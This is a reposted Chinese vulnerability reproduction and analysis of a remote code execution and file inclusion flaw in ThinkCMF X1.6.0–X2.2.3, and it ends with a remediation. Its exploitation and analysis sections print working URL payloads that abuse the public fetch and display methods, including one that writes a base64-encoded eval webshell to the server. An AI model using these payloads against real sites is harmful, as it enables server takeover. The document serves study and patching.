ThinkCMF框架任意內容包含漏洞分析復現(寫入shell+文件包哈)


ThinkCMF框架任意內容包含漏洞分析復現

 

0x00 簡介


ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理框架,底層采用ThinkPHP3.2.3構建。
ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。
每個應用都能獨立的完成自己的任務,也可通過系統調用其他應用進行協同工作。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工作的,但他們之間又可通過系統本身進行協調,大大的降低了開發成本和溝通成本。

0x01 漏洞概述


攻擊者可利用此漏洞構造惡意的url,向服務器寫入任意內容的文件,達到遠程代碼執行的目的。

0x02 影響版本


ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 環境搭建


本次使用的環境版本是2.2.3,直接放到phpstudy的目錄下,訪問路徑/ThinkCMFX/發現ThinkCMF很人性化的加載了安裝向導,因此按照它的步驟一步一步來即可(2.2.3版本安裝包獲取方式:qq1994249788)

 

 

 

 

 

填寫好數據庫密碼以及管理員信息(phpstudy的數據庫默認密碼為root)

 

 

 

繼續下一步,環境搭建成功如圖所示

 

 

 


0x04 漏洞利用


第一種
通過構造a參數的fetch方法,可以不需要知道文件路徑就可以把php代碼寫入文件
phpinfo版payload如下:

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

 

執行payload,頁面是空白的

 

 

 

 


訪問test.php,可以看到phpinfo已經加載出來

 

 

 


第二種
通過構造a參數的display方法,實現任意內容包含漏洞
payload:

?a=display&templateFile=README.md

 

 

 

 

0x05 漏洞分析


首先打開index.php文件,看一下程序的項目路徑,如下顯示項目路徑在application目錄下

 

 

 

 

在項目路徑下找到入口分組的控制器類選擇IndexController 控制器類打開

 

 

 


可以看到這里IndexController類中只有一個方法display方法,那么看一下父類HomebaseController文件,根據ThinkPHP框架規則,可以通過g\m\a參數指定分組\模塊\方法,這里可以通過a參數直接調用Portal\IndexController父類(HomebaseController)中的一些權限為public的方法。

 

 

 


這邊有問題的是display函數和fetch函數:
display函數的作用是加載模板和頁面輸出,所對應的參數為:
templateFile模板文件地址,charset模板字符集,contentType輸出類型,content輸出內容。

 

 

 


templateFile參數會經過parseTemplate函數處理,判斷模板是否存在,當模板不存在時會在當前目錄下開始查找,這里可以配合一處上傳形成文件包含。最終形成的payload :

index.php?a=display&templateFile=README.md

 

 



fetch函數的作用是獲取頁面內容,調用內置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時便可以形成模板注入。

 

 

 


這里fetch函數的三個參數分別對應模板文件,輸出內容,模板緩存前綴。利用時templateFile和prefix參數可以為空,在content參數傳入待注入的php代碼即可名字是x.php 密碼是C的一句話木馬,最終形成的payload:

http://127.0.0.1/ThinkCMFX_2.2.3/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('x.php',base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIkMiXSk7Pz4="))</php>

 

 

 



0x06 修復方式


將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改為 protected


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM